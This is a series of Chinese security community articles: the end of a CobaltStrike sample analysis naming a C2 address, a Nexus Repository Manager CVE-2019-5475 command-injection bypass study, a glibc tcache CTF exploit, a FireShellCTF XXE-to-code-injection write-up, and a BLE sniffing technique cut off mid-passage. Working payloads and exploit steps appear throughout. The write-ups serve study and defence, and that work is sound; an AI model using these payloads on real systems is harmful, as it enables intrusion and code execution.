解密出来的shellcode由CobaltStrike生成：
第二段数据为docx文档：
注入notepad.exe加载shellcode:
请求C2：8.133.232.154（上海阿里云）
## 小结
通过对上面样本的分析可以看到，目前来讲，CobaltStrike和MSF依旧是红队最常用的攻击框架，大部分恶意样本都是基于这两款框架生成的，由于cs和msf支持直接导出shellcode，这使得红队/攻击者可以使用各种骚套路去编码shellcode以达到免杀的效果。 | 社区文章 |
# Nexus Repository Manager 2.x 命令注入漏洞 (CVE-2019-5475) 两次绕过
##### 译文声明
本文是翻译文章，文章原作者 seebug，文章来源：paper.seebug.org
原文地址：<https://paper.seebug.org/1260/>
译文仅供参考，具体内容表达以及含义原文为准。
作者: Badcode and Longofo@知道创宇404实验室
## 前言
2019年9月初我们应急了Nexus Repository Manager 2.x
命令注入漏洞(CVE-2019-5475)，其大致的原因和复现步骤在[hackerone](https://hackerone.com/reports/654888)上公布了，在应急完这个漏洞之后，我们分析该漏洞的修复补丁，发现修复不完全，仍然可以绕过，本篇文章记录该漏洞的两次绕过。虽然早发布了两次的修复版本，由于官方第二次更新公告太慢<https://support.sonatype.com/hc/en-us/articles/360033490774>，所以现在才发。
几次更新时间线：
1. CVE-2019-5475（2019-08-09）
2. 第一次绕过，CVE-2019-15588（2019-10-28）
3. 第二次绕过，未分配CVE，更新了公告影响版本（2020-3-25）
**注：** 原始漏洞分析、第一次绕过分析、第二次绕过分析部分主要由Badcode师傅编写，第二次绕过分析+、最新版本分析主要由Longofo添加。
## 原始漏洞分析
### 利用条件
需管理员权限(默认认证：admin/admin123)
### 漏洞分析
以下分析的代码基于 2.14.9-01 版本。
漏洞点是出现在 Yum Repository 插件中，当配置 Yum 的`createrepo`或者`mergerepo`时
代码层面会跳到`YumCapability`的`[activationCondition](https://github.com/sonatype/nexus-public/blob/release-2.14.9-01/plugins/yum/nexus-yum-repository-plugin/src/main/java/org/sonatype/nexus/yum/internal/capabilities/YumCapability.java#L82)`方法中。
在上面`Path of
"createrepo"`中设置的值会通过`getConfig().getCreaterepoPath()`获取到，获取到该值之后，调用`this.validate()`方法
传进来的`path`是用户可控的，之后将`path`拼接`--version`之后传递给`commandLineExecutor.exec()`方法，看起来像是执行命令的方法，而事实也是如此。跟进`CommandLineExecutor`类的`exec`方法
在执行命令前先对命令解析，`CommandLine.parse()`，会以空格作为分隔，获取可执行文件及参数。
最终是调用了`Runtime.getRuntime().exec()`执行了命令。
例如，用户传入的 command 是`cmd.exe /c
whoami`，最后到`getRuntime().exec()`方法就是`Runtime.getRuntime().exec({"cmd.exe","/c","whoami"})`。
所以漏洞的原理也很简单，就是在`createrepo`或者`mergerepo`路径设置的时候，该路径可以由用户指定，中途拼接了`--version`字符串，最终到了`getRuntime.exec()`执行了命令。
### 漏洞复现
在`Path of "createrepo"`里面传入 payload。
在`Status`栏可以看到执行的结果
## 第一次绕过分析
### 第一次补丁分析
官方补丁改了几个地方，关键点在[这里](https://github.com/sonatype/nexus-public/commit/e8769e53f6bb601126ef5d21f9ea009873b65e25#diff-4ab0523de106ac7a38808f0231fc8a23R81)
常规做法，在执行命令前对命令进行过滤。新增加了一个`getCleanCommand()`方法，对命令进行过滤。
`allowedExecutables`是一个
HashSet，里面只有两个值，`createrepo`和`mergerepo`。先判断用户传入的`command`是否在`allowedExecutables`里面，如果在，直接拼接`params`即`--version`直接返回。接着对用户传入的`command`进行路径判断，如果是以nexus的工作目录(`applicationDirectories.getWorkDirectory().getAbsolutePath()`)开头的，直接返回
null。继续判断，如果文件名不在`allowedExecutables`则返回 null，也就是这条命令需要
以`/createrepo`或者`/mergerepo`结尾。都通过判断之后，文件的绝对路径拼接`--version`返回。
### 第一次补丁绕过
说实话，看到这个补丁的第一眼，我就觉得大概率可以绕。
传入的命令满足两个条件即可，不以nexus的工作目录开头，并且以`/createrepo`或者`/mergerepo`结尾即可。
看到补丁中的`getCleanCommand()`方法，`new File(command)`是关键，`new
File()`是通过将给定的路径名字符串转换为抽象路径名来创建新的File实例。 值得注意的是，这里面路径字符串是可以使用空格的，也就是
String f = "/etc/passwd /shadow";
File file = new File(f);
这种是合法的，并且调用`file.getName()`取到的值是`shadow`。结合这个特性，就可以绕过补丁里面的判断。
String cmd = "/bin/bash -c whoami /createrepo";
File file = new File(cmd);
System.out.println(file.getName());
System.out.println(file.getAbsolutePath());
运行结果
可以看到，`file.getName()`的值正是`createrepo`，满足判断。
### 第一次绕过测试
**测试环境**
1. 2.14.14-01 版本
2. Linux
**测试步骤**
在`Path of "createrepo"`里面传入 payload。
在`Status`栏查看执行的结果
可以看到，成功绕过了补丁。
在 Windows 环境下面就麻烦点了，没有办法使用`cmd.exe /c whoami`这种形式执行命令了，因为`cmd.exe /c
whoami`经过`new File()`之后变成了`cmd.exe c
whoami`，后面是执行不了的。可以直接执行exe，注意后面是还会拼接`--version`的，所以很多命令是执行不了的，但是还是有办法利用能执行任意exe这点来做后续的攻击的。
## 第二次绕过分析
### 第二次补丁分析
在我提交上述绕过方式后，官方修复了这种绕过方式，看下官方的[补丁](https://github.com/sonatype/nexus-public/commit/3dd1d59393149833150b702ddf6485b5ef3312bd#diff-4ab0523de106ac7a38808f0231fc8a23R111)
在`getCleanCommand()`方法中增加了一个`file.exists()`判断文件是否存在。之前的`/bin/bash -c whoami
/createrepo`这种形式的肯定就不行了，因为这个文件并不存在。所以现在又多了一个判断，难度又加大了。难道就没有办法绕过了？不是的，还是可以绕过的。
### 第二次补丁绕过
现在传入的命令要满足三个条件了
1. 不以nexus的工作目录开头
2. 以`/createrepo`或者`/mergerepo`结尾
3. 并且这`createrepo`或者`mergerepo`这个文件存在
看到`file.exists()`我就想起了 php 中的`file_exists()`，以前搞 php 的时候也遇到过这种判断。有个系统特性，在
Windows 环境下，目录跳转是允许跳转不存在的目录的，而在Linux下面是不能跳转不存在目录的。
测试一下
Linux
可以看到，`file.exists()`返回了 false
Windows
`file.exists()`返回了 true
上面我们说了`new File(pathname)`，pathname
是允许带空格的。在利用上面WIndows环境下的特性，把cmd设置成`C:\Windows\System32\calc.exe
\..\..\win.ini`
经过`parse()`方法，最终到`getRuntime.exec({"C:\Windows\System32\calc.exe","\..\..\win.ini"})`，这样就能执行`calc`了。
在上面这个测试`win.ini`是确实存在的文件，回到补丁上面，需要判断`createrepo`或者`mergerepo`存在。首先从功能上来说，createrepo
命令用于创建 yum
源（软件仓库），即为存放于本地特定位置的众多rpm包建立索引，描述各包所需依赖信息，并形成元数据。也就是这个`createrepo`在Windows下不太可能存在。如果这个不存在的话是没有办法经过判断的。既然服务器内不存在`createrepo`，那就想办法创建一个，我首先试的是找个上传点，尝试上传一个`createrepo`，但是没找到上传之后名字还能保持不变的点。在`Artifacts
Upload`处上传之后，都变成`Artifact-Version.Packaging`这种形式的名字了，`Artifact-Version.Packaging`这个是不满足第二个判断的，得以`createrepo`结尾。
一开始看到`file.exists()`就走进了思维定势，以为是判断文件存在的，但是看了官方的文档，发现是判断文件或者目录存在的。。这点也就是这个漏洞形成的第二个关键点，我不能创建文件，但是可以创建文件夹啊。在`Artifacts
Upload`上传Artifacts 的时候，可以通过`GAV Parameters`来定义。
当`Group`设置为`test123`，`Artifact`设置为`test123`，`Version`设置成`1`，当上传`Artifacts`的时候，是会在服务器中创建对应的目录的。对应的结构如下
如果我们将`Group`设置为`createrepo`，那么就会创建对应的`createrepo`目录。
结合两个特性来测试一下
Stringcmd="C:\Windows\System32\calc.exe \..\..\..\nexus\sonatype-work\nexus\storage\thirdparty\createrepo";Filefile=newFile(cmd);System.out.println(file.exists());System.out.println(file.getName());System.out.println(file.getAbsolutePath());
可以看到，`file.exists()`返回了true，`file.getName()`返回了`createrepo`，都符合判断了。
最后到`getRuntime()`里面大概就是`getRuntime.exec({"C:WindowsSystem32notepad.exe","......nexussonatype-worknexusstoragethirdpartycreaterepo","--version"})`
是可以成功执行`notepad.exe`的。(calc.exe演示看不到进程哈，所以换成Notepad.exe)
### 第二次绕过测试
**测试环境**
1. 2.14.15-01 版本
2. Windows
**测试步骤**
在`Path of "createrepo"`里面传入 payload。
查看进程，`notepad.exe`启动了
可以看到，成功绕过了补丁。
### 第二次绕过分析+
经过Badcode师傅第二次绕过分析，可以看到能成功在Windows系统执行命令了。但是有一个很大的限制：
1. nexus需要安装在系统盘
2. 一些带参数的命令无法使用
在上面说到的`Artifacts
Upload`上传处是可以上传任意文件的，并且上传后的文件名都是通过自定义的参数拼接得到，所以都能猜到。那么可以上传自己编写的任意exe文件了。
### 第二次绕过分析+测试
**测试环境**
1. 2.14.15-01 版本
2. Windows
**测试步骤**
导航到`Views/Repositories->Repositories->3rd
party->Configuration`，我们可以看到`默认本地存储位置`的绝对路径（之后上传的内容也在这个目录下）：
导航到`Views/Repositories->Repositories->3rd party->Artifact
Upload`，我们可以上传恶意的exe文件：
该exe文件将被重命名为`createrepo-1.exe`（自定义的参数拼接的）：
同样在`Path of "createrepo"`里面传入
payload（这时需要注意前面部分这时是以nexus安装目录开头的，这在补丁中会判断，所以这里可以在最顶层加`..`或者弄个虚假层`aaa..`等）：
可以看到createrepo-1.exe已经执行了：
## 最新版本分析
### 最新版本补丁分析
第二次补丁绕过之后，官方又进行了修复，官方补丁主要如下：
删除了之前的修复方式，增加了`YumCapabilityUpdateValidator`类，在`validate`中将获取的值与properties中设置的值使用`equals`进行绝对相等验证。这个值要修改只能通过`sonatype-work/nexus/conf/capabilities.xml`：
### 最新版本验证
前端直接禁止修改了，通过抓包修改测试：
在`YumCapabilityUpdateValidator.validate`断到：
可以看到这种修复方式无法再绕过了，除非有文件覆盖的地方覆盖配置文件，例如解压覆盖那种方式，不过没找到。
不过`Artifacts Upload`那里可以上传任意文件的地方依然还在，如果其他地方再出现上面的情况依然可以利用到。 | 社区文章 |
# 由一道CTF pwn题深入理解libc2.26中的tcache机制
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在刚结束的HITB-XCTF有一道pwn题gundam使用了2.26版本的libc.因为2.26版本中加入了一些新的机制，自己一开始没有找到利用方式，后来经大佬提醒，才明白2.26版本中新加了一种名叫tcache(thread
local caching)的缓存机制。
本文将依据[2.26源码](https://ftp.gnu.org/gnu/libc/glibc-2.26.tar.gz)探讨tcache机制详细情况并结合HITB-XCTF的gundam一题进行实战讲解。题目[下载地址](https://github.com/moonAgirl/CTF/tree/master/2018/Hitbxctf/gundam)。
## Tcache机制
### Tcache介绍
它被集成到了libc2.26中，它对每个线程增加一个bin缓存，这样能显著地提高性能，默认情况下，每个线程有64个bins，以16(8)递增，mensize从24(12)到1032(516)：
#if USE_TCACHE
/* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */
# define TCACHE_MAX_BINS 64
# define MAX_TCACHE_SIZE tidx2usize (TCACHE_MAX_BINS-1)
/* Only used to pre-fill the tunables. */
# define tidx2usize(idx) (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)
/* When "x" is from chunksize(). */
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
/* When "x" is a user-provided size. */
# define usize2tidx(x) csize2tidx (request2size (x))
/* With rounding and alignment, the bins are...
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */
/* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
#endif
有2个新的感兴趣的结构，tcache_entry和tcache_perthread_struct。两者都很简单，请参阅下面的内容。每个bin是单链表结构，单个tcache
bins默认最多包含7个块。
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;
### Tcache使用
**chunk进入tcache的情形**
1.释放时，_int_free中在检查了size合法后，放入fastbin之前，它先尝试将其放入tcache
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache
&& tc_idx < mp_.tcache_bins //大小合适
&& tcache->counts[tc_idx] < mp_.tcache_count) //未满
{
tcache_put (p, tc_idx);
return;
}
}
#endif
static void tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e; //和fastbin一样，单链表FILO
++(tcache->counts[tc_idx]);
}
2.在_int_malloc中，若fastbins中取出块则将对应bin中其余chunk填入tcache对应项直到填满（smallbins中也是如此）：
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp = *fb;
REMOVE_FB (fb, victim, pp);
if (victim != 0)
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (pp = *fb) != NULL)
{
REMOVE_FB (fb, tc_victim, pp);
if (tc_victim != 0)
{
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
3.当进入unsorted bin(同时发生堆块合并）中找到精确的大小时，并不是直接返回而是先加入tcache中，直到填满：
while(遍历unsorted bin){
....
//当精确匹配
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
#if USE_TCACHE
/* Fill cache first, return to user only if cache fills.
We may return one of these chunks later. */
if (tcache_nb
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (victim, tc_idx);
return_cached = 1;
continue;
}
else
{
#endif//满了才直接返回
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
#if USE_TCACHE
}
#endif
}
}
**从tcache获取chunk的情形**
1.在__libc_malloc，_int_malloc之前，如果tcache中存在满足申请需求大小的块，就从对应的tcache中返回chunk
void * __libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;
//hook();
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes = request2size (bytes);
size_t tc_idx = csize2tidx (tbytes);
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins //对应大小的tcache中还有未返回的chunk
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
2.在遍历完unsorted bin(同时发生堆块合并）之后，若是tcache中有对应大小chunk则取出并返回：
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
//遍历~~~~~
}
#if USE_TCACHE
/* If all the small chunks we found ended up cached, return one now. */
if (return_cached)
{
return tcache_get (tc_idx);
}
#endif
3.在遍历unsorted
bin时，大小不匹配的chunk将会被放入对应的bins，若达到tcache_unsorted_limit限制且之前已经存入过chunk则在此时取出（默认无限制）：
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
//遍历~~~~~
//大小不等时，放入对应bin~
#if USE_TCACHE
/* If we've processed as many chunks as we're allowed while
filling the cache, return one of the cached ones. */
++tcache_unsorted_count;
if (return_cached
&& mp_.tcache_unsorted_limit > 0
&& tcache_unsorted_count > mp_.tcache_unsorted_limit)
{
return tcache_get (tc_idx);
}
#endif
#define MAX_ITERS 10000
if (++iters >= MAX_ITERS)
break;
}
**对旧的利用技术的影响**
由上可知malloc会优先考虑tcache，在使用它之前只有size等很少的完整性校验(只有存入前有size >= MINSIZE &&
aligned_OK (size) && !misaligned_chunk (p) && (uintptr_t) p <= (uintptr_t)
-size)，而它本身并没有什么完整性校验，于是利用它进行攻击会简单很多。
1.The House of Spirit
在之前，这种利用手段主要用在fastbin，因为它的检查要少很多，包括要释放的chunk大小正确且属于fastbin，下一个chunk大小要适中，不能小于2*SIZE_SZ且不能大于已分配内存。small的检查更多。
但是若使用tcache，就只需要关心当前chunk的地址及大小，chunk大小也不仅仅是fastbin了。
2.double free
和fastbin一样，通过free同一个chunk造成loop
bin，但是fastbin不能连续释放同一个chunk，而tcache没有这种限制让它适用更大的chunk。
3.Overlapping chunks
若能更改指定chunk的size，增加其值，那么在释放后进入tcache再分配更改后的对应大小就能控制其后的chunk了。
4.tcache poisoning
对于已经在tcache里面的chunk，更改它的fd值即可在malloc时分配任意地址！
5.Smallbin cache filling bck write
在unsorted bin的unlink中，它回到了最原始的unlink，未进行其他检查(如bck->fd != victim)，这样又可以进行DWORD
SHOOT啦：
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
tcache原理及利用凡是介绍完毕，下面我们就gundam一题进行实用tcache漏洞利用
## gundam题解
程序功能如下：
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Build:申请一块0x28大小的chunk用来存储gundam的结构，再申请一块0x300大小的chunk作为gundam的name，用户输入name的内容
Visit：打印gundam的name及类型
Destory：free指定gundam的name.没有清空指针，可多次free同一块name chunk.
Blowup:将所有gundam释放，没有释放其中的name
思路是利用Destory将同一块0x300大小的chunkfree两次进入tcache,再改写它的fd域，name就可以返回任意地址
首先泄露libc地址
destory(0) #0x300 tcache
destory(0) #double free #0x300 tcache
build(p64(heap_libc),1) #4
build('a',1) #5
build('a',1) #6 point to heap_libc
data=visit()
t2=data.index("[6] :")+5
libc=u64(data[t2:t2+6]+'x00x00')
再将free_hook改写为system
destory(1)
destory(1)
build(p64(free_hook),1)#0
build('/bin/sh',1)#1
build(p64(system),1)#2
最后调用free函数就相当于调用system函数了，实现get shell
destory(0,False)
完整脚本[在此](https://github.com/moonAgirl/CTF/tree/master/2018/Hitbxctf/gundam)
## 总结
Tcache是glibc
malloc的一个有趣的补充，可提供很明显的性能优势。但是，对于内存分配的安全状态，似乎还有一些倒退的迹象，使得安全性变得极低。这种矛盾表明在性能和安全性之间取得良好的平衡是很困难。对于我们CTFer来说，这倒是一个好消息。
参考：http://tukan.farm/2017/07/08/tcache/ | 社区文章 |
# FireShellCTF2019 Bad Injections解题记录
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
题目地址：<http://68.183.31.62:94>
这是整场比赛最简单的Web题…Web题质量很高，貌似现在还没有关环境
主页面有四个功能，纯静态页面。右键about页面源码信息：
给个本地web目录
接着在list页面的源码里发现信息：
因为页面显示图片，url没有其他参数，猜测应该是readfile之类的函数读的文件。File+hash的方法，既然是ctf，那hash应该不会加key。下载一个文件试一下能不能成功
68.183.31.62:94/download?file=files/../../../../../etc/passwd&hash=ab56ade6fe16a65bce82a7cd833f13cc
这里让`hash = md5(file)`，成功下载到了/etc/passwd
尝试去读/flag发现文件不存在，去读.bash_history也不存在..捷径失败…
看到之前list下载的test.txt内容是这样的
down一下download的源码，顺便fuzz一下Controllers的文件
68.183.31.62:94/download?file=files/../../app/Controllers/Download.php&hash=f350edcfda52eb0127c4410633efd260
字典只跑出来了个admin.php
先是用file_get_contents加载一个文本，之后loadXML解析取值，usort排序输出。感觉存在一个XXE或者是create_function的代码注入，因为找不到/flag文件所以利用XXE没什么卵用，那应该就是代码注入了，但是要加载外部文本来引入正确xml文本才能进入函数判断。
尝试请求admin?url=xxx&order=xx死活获取不到页面，应该是路由没找对。在这卡了一会，请教腹黑师傅，才想起来去读入口文件。
68.183.31.62:94/download?file=files/../../app/Index.php&hash=1dfd7acd700544ea7d26b8368935c4e8
/app/index.php
<?php
ini_set('display_errors',1);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('Routes.php');
function __autoload($class_name){
if(file_exists('./classes/'.$class_name.'.php')){
require_once './classes/'.$class_name.'.php';
}else if(file_exists('./Controllers/'.$class_name.'.php')){
require_once './Controllers/'.$class_name.'.php';
}
}
再去读路由/app/Routes.php
<?php
Route::set('index.php',function(){
Index::createView('Index');
});
Route::set('index',function(){
Index::createView('Index');
});
Route::set('about-us',function(){
AboutUs::createView('AboutUs');
});
Route::set('contact-us',function(){
ContactUs::createView('ContactUs');
});
Route::set('list',function(){
ContactUs::createView('Lista');
});
Route::set('verify',function(){
if(!isset($_GET['file']) && !isset($_GET['hash'])){
Verify::createView('Verify');
}else{
Verify::verifyFile($_GET['file'],$_GET['hash']); //设置session，file和hash对应请求文件
}
});
Route::set('download',function(){
if(isset($_REQUEST['file']) && isset($_REQUEST['hash'])){
echo Download::downloadFile($_REQUEST['file'],$_REQUEST['hash']);
}else{
echo 'jdas';
}
});
Route::set('verify/download',function(){
Verify::downloadFile($_REQUEST['file'],$_REQUEST['hash']);
});
Route::set('custom',function(){
$handler = fopen('php://input','r');
$data = stream_get_contents($handler); // xml
if(strlen($data) > 1){
Custom::Test($data);
}else{
Custom::createView('Custom');
}
});
Route::set('admin',function(){
if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
Admin::createView('Admin');
}else{
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
}else{
echo ";(";
}
}
});
Route::set('custom/sort',function(){
Custom::sort($_REQUEST['rss'],$_REQUEST['order']);
});
Route::set('index',function(){
Index::createView('Index');
});
原来我只down了download和admin页面，还有其它功能页面没down到，看到了玄学的admin规则如下，只有本地才能请求到sort函数
Route::set('admin',function(){
if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
Admin::createView('Admin');
}else{
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
}else{
echo ";(";
}
}
});
只能找一下其他利用，再看Custom
Route::set('custom',function(){
$handler = fopen('php://input','r');
$data = stream_get_contents($handler);
if(strlen($data) > 1){
Custom::Test($data);
}else{
Custom::createView('Custom');
}
});
Custom::Test
class Custom extends Controller{
public static function Test($string){
$root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
$test = $root->name;
echo $test;
}
}
$data内容可控为php://input，Test函数再将$data作为xml文本解析，那么存在XXE的问题，验证了一下可以利用
联想到刚才admin页面只有本地才能请求，那就用Custom的XXE当跳板好了，测试一下是否能当跳板
poc:
<?xml version='1.0'?>
<!DOCTYPE name [<!ENTITY file SYSTEM "http://localhost/admin?rss=http%3A%2F%2Fyour_vps%2Fxxe.txt&order=1">]>
<note>
<name>&file;</name>
</note>
admin页面确实file_get_contents到了我vps的xxe文本。
尝试去构造正确的xml文本到执行到usort函数进行注入，warning不影响代码执行
`http://vps/xxe.txt`
<?xml version="1.0" encoding="utf-8"?>
<root>
<channel>
<item>
<link>@hpdoger.me</link>
</item>
<item>
<link>@souhu.com</link>
</item>
</channel>
</root>
`POC`
<?xml version='1.0'?>
<!DOCTYPE name [<!ENTITY file SYSTEM "http://localhost/admin?rss=http%3A%2F%2Fvps%2Fxxe.txt&order=id%29%3B%7Decho%28file_get_contents%28%27..%2F..%2F..%2Fda0f72d5d79169971b62a479c34198e7%27%29%29%3B%2F%2F">]>
<note>
<name>&file;</name>
</note> | 社区文章 |
# nRF51822 的隐藏技能：嗅探 BLE 连接标识
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：sourcell @安恒安全研究院海特实验室
## 前言
本文分析了 Damien Cauquil 在 btlejack-firmware 中实现的一个有趣的技术。根据他的描述，该技术应该受到了 Travis
Goodspeed 所写 Promiscuity is the nRF24L01+’s Duty 一文的启发。Damien Cauquil
对于该技术的描述如下：
## 称为隐藏技能的原因
在 nRF51822 中，嗅探 BLE access address 之所以被称为隐藏技能的原因是：无视 nRF51 Series Reference
Manual Version 3.0.1 的限制是使用该技能的条件之一。比如手册将 PCNF1 register 的 BALEN field
的取值范围限制在 “[2..4]”：
但要使用隐藏技能需要将该 field 配置为 1。
#include <nrf51.h>
#include <nrf51_bitfields.h>
NRF_RADIO->PCNF1 |= 1UL << RADIO_PCNF1_BALEN_Pos;
## Access Address（连接标识）
Access address 是 BLE 连接的标识。如果我们能在 37 个 BLE data channels 上嗅探 access
address，那么附近所有的 BLE 连接都能被我们识别。
## nRF51822 接收 Radio Packet 的流程
执行 Address Match 的机制nRF51822 radio 外设的整体运作机制如下：
下面我们在禁用 CRC 与 (de)whiting 的前提下，讨论 nRF51822 的 address match 机制：
NRF_RADIO->PCNF1 = RADIO_PCNF1_WHITEEN_Disabled << RADIO_PCNF1_WHITEEN_Pos;
NRF_RADIO->CRCCNF = 0UL; // Disable CRC
1. ANT 在接收到完整的 preamble (0x55 or 0xAA) 后，会立即通知 receiver 开始工作。
2. Receiver 开始工作后，会把空中的 bits 交给 address match 处理。
3. Address match 在处理空中的 bits 时，可能发现 base address 与 prefix 无法匹配。
4. Address match 继续处理空中的 bits，直到 base address 与 prefix 匹配成功。
5. Base address 与 prefix 匹配成功后，将发生 ADDRESS event，NRF_RADIO->EVENTS_ADDRESS 被置 1。
## 站在 Travis Goodspeed 的肩膀上
Travis Goodspeed 发现 nRF24L01+ 在接收 radio packet 时并不从 preamble 字段开始匹配，而是从
address 字段开始匹配。nRF24L01+ 使用的 on-air radio packet 格式如下：
> 参考 reference 1、2。
nRF24L01+ 这样做确实是有道理的。Radio 外设要实现接收 radio packet 就必须做一个决策：何时开始匹配 radio packet
定义的字段。nRF24L01+ 的决定是不断从空中采样，直到交替出现 0 和 1（preamble, hi-low
toggling），就开始将后续的空中数据与 register 中预设的 address 进行匹配。因此 radio packet 发送方发出的
preamble 对于接收方只是一个开始匹配 address 字段的信号，而不是参与匹配的字段。
之后 btlejack 发现 nRF51822 同 nRF24L01+ 一样，也具有上述特性。nRF51822 的 on-air radio packet
格式如下：
### 正常使用 nRF51822 收发 BLE LL Packet
在 nRF51822 上发送 BLE LL packet 时，发送方会把 radio packet 的 address 字段配置为 4 bytes，用于存储
BLE LL packet 定义的 access address：
// len(ADDRESS) 4 B = len(BASE) 3 B + len(PREFIX) 1 B
NRF_RADIO->PCNF1 &= ~RADIO_PCNF1_BALEN_Msk; // Clear BALEN
NRF_RADIO->PCNF1 |= 0x3 << RADIO_PCNF1_BALEN_Pos;
发送方确定 address 字段后，待发送的 preamble 会由 radio 外设自动配置好。对于接收方，我们只需与发送方做相同的 address
字段配置就可以匹配到期望的 radio packet。接收方的 radio 外设在匹配 radio packet 的 address
字段时，不论匹配是否成功，nRF51822 都不会将其存入 RAM。就算在匹配 address 成功时，nRF51822 也仅会把 radio packet
的 payload 字段写入 RAM，供我们做后续的处理。
### 使用非法但可用的 Address 字段配置实现 Sniffing
与正常使用 nRF51822 收发 BLE LL packet 不同的是我们想嗅探并从 RAM 中拿到到所有可能的 address 字段，即标识已存在
BLE 连接的 access address。所以我们要求不论接收方的 radio 外设是否成功匹配空中的 address 字段，该字段都要被写入 RAM
中。
让 nRF51822 把 address 字段写入 RAM，可以转换为让 nRF51822 把 address 字段当作 payload
处理。需要注意的是由于 nRF51822 的 CRC 校验自动包含所有的 payload，而 BLE 又规定 access address 不参与 CRC
运算，所以把 address 字段当作 payload 处理后，我们就不能再使能 nRF51822 的 CRC 校验：
NRF_RADIO->CRCCNF = 0x0; // Disable CRC
Radio packet 的 address 字段被划为 payload 后，作为接收方的 nRF51822 就只剩 preamble
可以匹配了。于是我们把 preamble 配置为 address 字段，比如 0x00 0xAA：
+--------------------+
| BASE | PREFIX |
|------|-------------| nRF51822 radio packet
| 0x00 | 0xAA |
+--------------------+--------------------------------+----------+
| S0 | LENGTH | S1 | PAYLOAD | STATIC |
Radio packet in RAM |------|--------|------|---------|----------|
| None | None | None | None | 10 Bytes |
+-------------------------------------------+
代码如下：
NRF_RADIO->PREFIX0 = 0xAA << RADIO_PREFIX0_AP0_Pos; // 也可以设成 0x55
NRF_RADIO->BASE0 = 0x00000000;
NRF_RADIO->PCNF1 &= ~RADIO_PCNF1_BALEN_Msk; // Clear BALEN
NRF_RADIO->PCNF1 |= 0x1 << RADIO_PCNF1_BALEN_Pos; // 1 0x00 before Preamble
该配置是非法的，因为 nRF51 Series Reference Manual 允许的 ADDRESS 长度最小为 3，而我们把它配置成了
2。Manual 的要求如下：
这个配置虽然非法，但仍可以使 nRF51822 的 radio 外设工作起来。
之后，只要空中出现一连串交替 0 和 1（这不一定是 preamble，还可以是 noise），nRF51822 就开始尝试匹配 0x00
0xAA，直到匹配成功，与真正的 BLE preamble 同步。
> 0xAA 是 BLE LL packet 可能的 preamble 之一。后续会分析如何处理另一个可能的 preamble 0x55。
在 BLE preamble 0xAA 前添加一个 0x00 的原因是，当无空中数据时，radio 外设会采样到大量的 0x00 或 0xFF（参考
reference 1，但待亲自观察）。此时 radio 匹配 address 字段的工作不会被触发，因为 0x00 与 0xFF 不是交替出现的 0 或
1。那么可以判断在无 noise 的情况下，preamble 0xAA 之前不是 0x00，就是
